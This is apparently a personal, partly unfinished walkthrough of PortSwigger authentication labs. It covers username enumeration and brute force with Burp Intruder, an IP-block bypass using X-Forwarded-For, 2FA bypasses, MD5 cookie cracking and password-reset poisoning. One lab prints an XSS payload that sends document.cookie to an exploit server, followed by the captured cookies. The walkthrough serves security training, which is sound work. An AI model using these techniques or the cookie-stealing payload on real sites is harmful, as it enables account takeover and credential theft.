## Authentication defination

Authentication is the process of verifying the identity of a given user or client. In other words, it involves making sure that they really are who they claim to be. At least in part, websites are exposed to anyone who is connected to the internet by design. Therefore, robust authentication mechanisms are an integral aspect of effective web security.

Authentication is the process of verifying that a user really is who they claim to be, whereas authorization involves verifying whether a user is allowed to do something. .

صوره هنا يحب

most authentication vulnerabilities because of

The authentication mechanisms are weak

Logic flaws or poor coding in the implementation

many attackes based on brute force

but at first of all we shoud make enumeratin about usres

in portswigger lab gives us   
  
Candidate usernames  
Candidate passwords  
to short time of brute forcing

other attackes based on Status codes

/Error messages

whether both the username AND password are incorrect or only the password was incorrect

/times in the response

open Burp Suite and start to solve labs   
  
Lab: Username enumeration via different responses  
  
access the lab and click my account   
try to login with and user name and password   
intercept the request and send to intruder   
we don’t have username or password so set at first username you enter and click add § for knowing the real username from length  
go to the Payloads and past the Candidate usernames list  
 click start attack   
sort by length   
know we know username ag  
  
repeat all steps with replace Candidate usernames to Candidate passwords and put real username ag  
sort by length   
know we know real username and password   
[ag 121212]

**Vulnerabilities in password-based login LABS**

# Lab: Username enumeration via subtly different responses

Accses the lab the try to login with any username and password then intercept the request   
  
  
send to intruder

select username you inter and click add §

go to Payload and add Candidate usernames  
go to Options scroll to Grep – Extract   
click Fetch response   
2-1 png  
look there is error message [Invalid username or password.] mark it and click Refetch responses the ok

start attack

sort by warning

Invalid username or password   
at first we add   
Invalid username or password(.)  
dot is deffernet error message   
2-2 png

we got username

repeat all steps with put correct username that we got antivirus  
and

Candidate usernames to Candidate passwords then we got the password

2-3 png

# Lab: Username enumeration via response timing

After some trying to brute force login we got bock [IP blocked ]  
to bypass this we can use   
proxy chane / ip ratio / vps / X-Forwarded-For  
  
so we would use X-Forwarded-For

also we will need to know the time of response so w will need to increase the time of response so we will inject password with longth to take time to verify it.

Intercept the request send to repeater but after some sending requests we got block [IP Bloked] so try to add X-Forwarded-For: 500   
lol we bypass [IP Blocked] so send the requests to intruder we need to select two payloads   
first X-Forwarded-For: 500   
second payload username and add § and inject password with large length like H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3H3X0S3

select payload type Numbers  
step = 1

select number format 0 [0/1/2/3/4/5/6/7/8/9]

select Attack type Pitchfork to use multi payloads   
second payload username

3-4 png  
  
we got the username   
repeat all steps with using correct username and add Candidate passwords   
we got the password   
3-5 png

# Lab: Broken brute-force protection, IP block

If we test to login with the credentials wiener:peter

ok login succeful

now we need to log with Victim's username: carlos  
if we try to brute force we will block [IP Block] ok try again to login with our credentials wiener:peter  
login succesfully now we bypass the block   
so we should brute fore the password of Victim's username: carlos and between request we should loged with our credentials wiener:peter  
  
portswigger give us Candidate passwords [passwords list] to short time   
but we need to put our password between two password to make a valid world list so scarp Candidate passwords from source code and replace <br> to \n peter [new line and write peter]  
4-1 png

in username world list we should put wiener [new line and write carlos] should wiener to peter and carlos to the Candidate passwords

so send request to intruder select Attack type Pitchfork  
add two payloads click start attack  
 sort by statues to 302 then sort Payload1 carlos you get the password

# Lab: Username enumeration via account lock

We should enumerate a valid username then brute-force this user's password   
  
اكتب   
5-1 png  
 كرر عادي   
5-2 png

**Vulnerabilities in multi-factorauthentication LABS**

# Lab: 2FA simple bypass

This lab's two-factor authentication can be bypassed. You have already obtained a valid username and password, but do not have access to the user's 2FA verification code. To solve the lab, access Carlos's account page.

In this lab we have

* Your credentials: wiener:peter
* Victim's credentials carlos:montoya

if we try to login with carlos:montoya

there is 4-digit security code send to email

**2FA simple bypass-1.png**

but we don’t have access to this email but let’s try to bypass 2FA  
look at URL  
  
<https://target-ac3a1fc51e548cc580d584c100e6001c.web-security-academy.net/login2>

deleat /login2 from url and enter   
then click [My account](https://target-ac3a1fc51e548cc580d584c100e6001c.web-security-academy.net/my-account?id=carlos) we bypass 2FA

# 2FA simple bypass-2.png

# Lab: 2FA broken logic

2FA broken logic-1.png

try to login with our credentials: wiener:peter  
there is 2FA and 4-digit security code sent to email client oready we have access to this email but try to bypass this 2FA by intercept the request before sending 4-digit security code and submit send it to intruder and Change the value of the verify parameter to carlos and set an invalid 2FA code and click add § select

2FA broken logic-2.png

stat attack   
sort by status   
we found 302 this is the code

2FA broken logic-3.png  
click show requests in browser

# Lab: 2FA bypass using a brute-force attack

بعدين

**other mechanisms**

# Lab: Brute-forcing a stay-logged-in cookie

In this lab we will to gues the mechanism of generation of the cookies then brute force the cookies for carlose

ok let’s try to tyr to solve the lab   
open burpsuite   
login with wiener:peter   
click stay-logged-in to save cookise and session in our browser   
go to burp and see rhe requests   
  
Brute-forcing a stay-logged-in cookie-1.png

d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw  
  
its base64 encoded go to Decoder

wiener:51dc30ddc473d43a6011e9ebba6ca770

Brute-forcing a stay-logged-in cookie-2.png  
  
the we have username [ wiener ] and [ : ] and [ 51dc30ddc473d43a6011e9ebba6ca770 ]

go to https://www.md5online.org/md5-decrypt.html  
  
 51dc30ddc473d43a6011e9ebba6ca770 is peter its the password   
now we know the mechanism   
username:MD5password the encode as Base64  
  
logout from wiener account then  
send the GET/ request to intruder   
select stay-logged-in= §§   
in paylod add Candidate passwords   
in payload processing add   
Hash: MD5  
ADD Prefix: carlos:  
Base64-encode   
  
in Grep – Extract   
match Update email   
start attack   
sort by submit

Brute-forcing a stay-logged-in cookie-3.png

click show request in browser   
  
  
  
Lab: Offline password cracking

as in Lab: Brute-forcing a stay-logged-in cookie we will get the cookies of wiener account and know the mechanism of cookies generation

wiener:51dc30ddc473d43a6011e9ebba6ca770

now we will search for other bug to get the cookies of carlos to solve the lab go to home see the posts   
  
there is imput fields let’s check if there is xss   
  
  
Offline password cracking-1.png  
there is no filter

Offline password cracking-2.png

let’s try to steal cookies   
 we will get the cookies on our server on <https://exploit-ac971fe81f9e2a6880735ff0010d0025.web-security-academy.net/>

inject this payload

<script>document.location='<https://exploit-ac971fe81f9e2a6880735ff0010d0025.web-security-academy.net/exploit'+document.cookie></script>

go to access log

see this log

172.31.31.42 2021-07-16 09:12:06 +0000 "GET /exploitsecret=MsAGQJ1kNbN38qsc3F6L6oqnYDo2RfFI;%20stay-logged-in=Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz HTTP/1.1" 404 "User-Agent: Chrome/932898"

this is the cookies   
 Y2FybG9zOjI2MzIzYzE2ZDVmNGRhYmZmM2JiMTM2ZjI0NjBhOTQz

username:md5Password then base64-encode

decode base64

carlos:26323c16d5f4dabff3bb136f2460a943  
name is carlos

go to https://www.md5online.org/md5-decrypt.html  
  
onceuponatime equal 26323c16d5f4dabff3bb136f2460a943

now we have username and password

login with this credintail

and deleat the account

lab solved

# Lab: Password reset broken logic

This lab's password reset functionality is vulnerable so let’s try to reset password of wiener

Password reset broken logic-1.png

this is the url to reset password

Password reset broken logic-2.png

intercept the request to change the password and change wiener to carlos

Password reset broken logic-3.png

and enter new password H3X0S3

try to login with carlos:H3X0S3

Password reset broken logic-4.png  
  
  
**Lab** **Password reset poisoning via middleware**

try to reset password of wiener intercept the request and change wiener to carlos   
add this header X-Forwarded-Host: your exploit server to receive link of reset password

# Password reset poisoning via middleware-1.png

this is the token   
Imv36UMaM43onE42vZWIaxptuP4mFPSx

Password reset poisoning via middleware

-2.png

see the format of reset password for wiener

Password reset poisoning via middleware

-3.png

so the link to reset password will be

https://target-ac441f671fd98a2b8080502200560048.web-security-academy.net/forgot-password?temp-forgot-password-token=Imv36UMaM43onE42vZWIaxptuP4mFPSx

open url   
set password H3X0S3   
try to login carlos:H3X0S3  
  
lab solved

# **lab Password brute-force via password change**

After login with credentials: wiener:peter  
  
we found that we can change the password   
of wiener   
put wrong password in current password input and   
new password is H3X0S3 then intercept the request send the request to repeater and send request we found [Current password is incorrect]

# Password brute-force via password change-1.png

send to intruder and change wiener to carlos [Victim's username] select current password parameter and add §§  
add payload list Candidate passwords and match Current password is incorrect   
start attack  
sort by warning   
Password brute-force via password change-2.png

lab solved